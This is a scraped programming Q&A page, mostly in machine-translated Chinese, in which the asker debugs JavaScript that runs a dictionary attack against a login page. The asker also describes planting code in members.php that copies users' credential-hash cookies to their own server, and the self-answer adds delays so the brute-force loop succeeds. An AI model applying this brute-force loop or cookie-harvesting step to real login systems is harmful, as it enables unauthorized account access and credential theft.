【问题标题】:Checking if the attempt was successful during a Dictionary Attack在字典攻击期间检查尝试是否成功
【发布时间】:2015-01-22 19:58:32
【问题描述】:

我正在做一个项目,我必须在其中执行字典攻击。我正在运行一个脚本,该脚本发布到登录页面将发布到的页面(比如 members.php)。输入正确的用户名和密码后,服务器端唯一发生的事情就是设置了 cookie。 Cookie 具有用户名和密码的 sha 值。 (是的,我可以访问源代码)。

我在 members.php 中硬编码了一个脚本,这样每次有人登录时都会检索 cookie 的值并将其存储在我服务器的文本文件中。因此,我将能够跟踪成功登录的用户。

我正在尝试将以下脚本发布到 members.php 以尝试查看逻辑是否有效:

    function dictionary_run(username,password) {
    var theForm, newInput7, newInput8, newInput9;
    var i=0,j=0;
    var bla3 = "Login";
    theForm = document.createElement("form");
    theForm.action = "URL/members.php";
    theForm.method = "post"; 

    newInput9 = document.createElement("input");
    newInput9.type = "text";
    newInput9.name = "username";
    newInput9.value = username;

    newInput8 = document.createElement("input");
    newInput8.type = "password";
    newInput8.name = "password";
    newInput8.value = password;

    newInput7 = document.createElement("input");
    newInput7.type = "submit";
    newInput7.name = "submit";
    newInput7.value = bla3;

    theForm.appendChild(newInput9);
    theForm.appendChild(newInput8);
    theForm.appendChild(newInput7);
    newInput7.click();
}
function main() {
    var user_name = ["jasmine", "fd", "jasmhghine","dfdf"];
    var pass_word = ["jasmine", "jasminhge", "dffd","dfdfdf"];
    var i,j;
    for(i=0; i<4 ;i++) {
    for(j=0; j<4;j++) {
    dictionary_run(user_name[i],pass_word[j]);
    }
    }

}    
main();

显然它不起作用。我知道 jasmine 作为密码和用户名是正确的(此处为 user_name[0] 和 pass_word[0])。即使这样,我在 members.php 中硬编码的脚本也无法捕获成功的登录尝试。

我也尝试过打破它

if(document.cookie) break;

每次提交后。这也行不通。我想不出另一种方法来检查登录尝试是否成功。

任何帮助将不胜感激。 谢谢!

【问题讨论】:

    标签: javascript cookies forms dictionary-attack http-post


    【解决方案1】:

    好的,我发现了问题,只是因为我发帖非常快,所以只检查最后一个输入。所以我只用了几秒钟的延迟,它就奏效了。

      for(i=0; i<4;i++) {
        for(j=0; j<4;j++) {
          var delay=5000;//1 seconds
      setTimeout(function(){
      dictionary_run(user_name[i],pass_word[j]);
      },delay); 
        }
        }
    

    谢谢!

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2012-03-26
      • 1970-01-01
      • 1970-01-01
      • 2012-05-06
      • 2010-11-29
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多